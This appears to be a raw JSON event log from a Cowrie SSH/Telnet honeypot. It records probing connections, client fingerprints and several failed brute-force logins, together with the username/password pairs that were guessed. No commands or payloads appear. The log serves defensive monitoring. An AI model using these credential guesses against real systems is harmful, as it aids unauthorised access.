{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:06.176392Z","src_ip":"180.178.94.210","session":"66cd16ace69c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":56490,"dst_ip":"159.203.135.109","dst_port":23,"session":"27035fef7723","protocol":"telnet","message":"New connection: 79.139.59.21:56490 (159.203.135.109:23) [session: 27035fef7723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:06.649421Z"}
{"eventid":"cowrie.login.failed","username":"samba","password":"1234","message":"login attempt [samba/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:07.284895Z","src_ip":"180.178.94.210","session":"66cd16ace69c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.65.220","src_port":34170,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdd1923601e9","protocol":"ssh","message":"New connection: 43.133.65.220:34170 (159.203.135.109:22) [session: bdd1923601e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:07.442914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:07.452682Z","src_ip":"43.133.65.220","session":"bdd1923601e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:07.663196Z","src_ip":"43.133.65.220","session":"bdd1923601e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"Password123","message":"login attempt [test/Password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:08.539040Z","src_ip":"43.133.65.220","session":"bdd1923601e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:08.549176Z","src_ip":"180.178.94.210","session":"66cd16ace69c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.57482886314392,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:08.641809Z","src_ip":"69.4.83.194","session":"480a9bff5d25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:09.759300Z","src_ip":"43.133.65.220","session":"bdd1923601e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.6.32.107","src_port":34563,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b390aa84437","protocol":"ssh","message":"New connection: 190.6.32.107:34563 (159.203.135.109:22) [session: 4b390aa84437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:27.319254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:27.324741Z","src_ip":"190.6.32.107","session":"4b390aa84437","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:27.381975Z","src_ip":"190.6.32.107","session":"4b390aa84437","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:27.639154Z","src_ip":"190.6.32.107","session":"4b390aa84437","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00114274024963,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:28.120557Z","src_ip":"102.219.170.64","session":"21002e9fab4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:28.699632Z","src_ip":"190.6.32.107","session":"4b390aa84437","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.117.116","src_port":56216,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cea1c18c5cd","protocol":"ssh","message":"New connection: 14.103.117.116:56216 (159.203.135.109:22) [session: 4cea1c18c5cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:29.999597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:30.018188Z","src_ip":"14.103.117.116","session":"4cea1c18c5cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:30.946282Z","src_ip":"14.103.117.116","session":"4cea1c18c5cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:31.921587Z","src_ip":"14.103.117.116","session":"4cea1c18c5cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:33.711096Z","src_ip":"14.103.117.116","session":"4cea1c18c5cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.219.170.64","src_port":43797,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4eef1040667","protocol":"telnet","message":"New connection: 102.219.170.64:43797 (10.17.0.5:23) [session: f4eef1040667]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:33.769914Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.133","src_port":45962,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1f34864c06b","protocol":"ssh","message":"New connection: 101.79.165.133:45962 (159.203.135.109:22) [session: e1f34864c06b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:35.346376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:35.352006Z","src_ip":"101.79.165.133","session":"e1f34864c06b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:35.577985Z","src_ip":"101.79.165.133","session":"e1f34864c06b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu18","message":"login attempt [ubuntu/Ubuntu18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:36.511144Z","src_ip":"101.79.165.133","session":"e1f34864c06b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:37.752139Z","src_ip":"101.79.165.133","session":"e1f34864c06b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.233787775039673,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:37.883068Z","src_ip":"79.139.59.21","session":"27035fef7723","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0113639831543,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:48.216191Z","src_ip":"102.219.170.64","session":"df764e6c97bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00471210479736,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:51.524405Z","src_ip":"102.219.170.64","session":"208df2c59884","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.219.170.64","src_port":44508,"dst_ip":"10.17.0.5","dst_port":23,"session":"96b09de316cf","protocol":"telnet","message":"New connection: 102.219.170.64:44508 (10.17.0.5:23) [session: 96b09de316cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:53.165317Z"}
{"eventid":"cowrie.session.connect","src_ip":"106.243.250.115","src_port":37886,"dst_ip":"159.203.135.109","dst_port":22,"session":"d840c4f4ecad","protocol":"ssh","message":"New connection: 106.243.250.115:37886 (159.203.135.109:22) [session: d840c4f4ecad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:58.223206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:58.230084Z","src_ip":"106.243.250.115","session":"d840c4f4ecad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:58.439991Z","src_ip":"106.243.250.115","session":"d840c4f4ecad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123.","message":"login attempt [root/Test123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:25:59.306357Z","src_ip":"106.243.250.115","session":"d840c4f4ecad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.219.170.64","src_port":44651,"dst_ip":"10.17.0.5","dst_port":23,"session":"a047cf9f2643","protocol":"telnet","message":"New connection: 102.219.170.64:44651 (10.17.0.5:23) [session: a047cf9f2643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:26:00.236882Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:26:00.528041Z","src_ip":"106.243.250.115","session":"d840c4f4ecad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":49096,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d97f2f1212e","protocol":"ssh","message":"New connection: 80.66.85.226:49096 (159.203.135.109:22) [session: 5d97f2f1212e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:26:20.048698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:26:20.054115Z","src_ip":"80.66.85.226","session":"5d97f2f1212e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:26:20.148208Z","src_ip":"80.66.85.226","session":"5d97f2f1212e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bdfyeirf","message":"login attempt [root/bdfyeirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:26:20.429822Z","src_ip":"80.66.85.226","session":"5d97f2f1212e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:26:21.526536Z","src_ip":"80.66.85.226","session":"5d97f2f1212e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":52400,"dst_ip":"159.203.135.109","dst_port":23,"session":"2393c90ad54e","protocol":"telnet","message":"New connection: 69.4.83.194:52400 (159.203.135.109:23) [session: 2393c90ad54e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:26:22.301185Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.65.220","src_port":36226,"dst_ip":"159.203.135.109","dst_port":22,"session":"962603b71557","protocol":"ssh","message":"New connection: 43.133.65.220:36226 (159.203.135.109:22) [session: 962603b71557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:26:41.362132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:26:41.367060Z","src_ip":"43.133.65.220","session":"962603b71557","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:26:41.580772Z","src_ip":"43.133.65.220","session":"962603b71557","protocol":"ssh"}
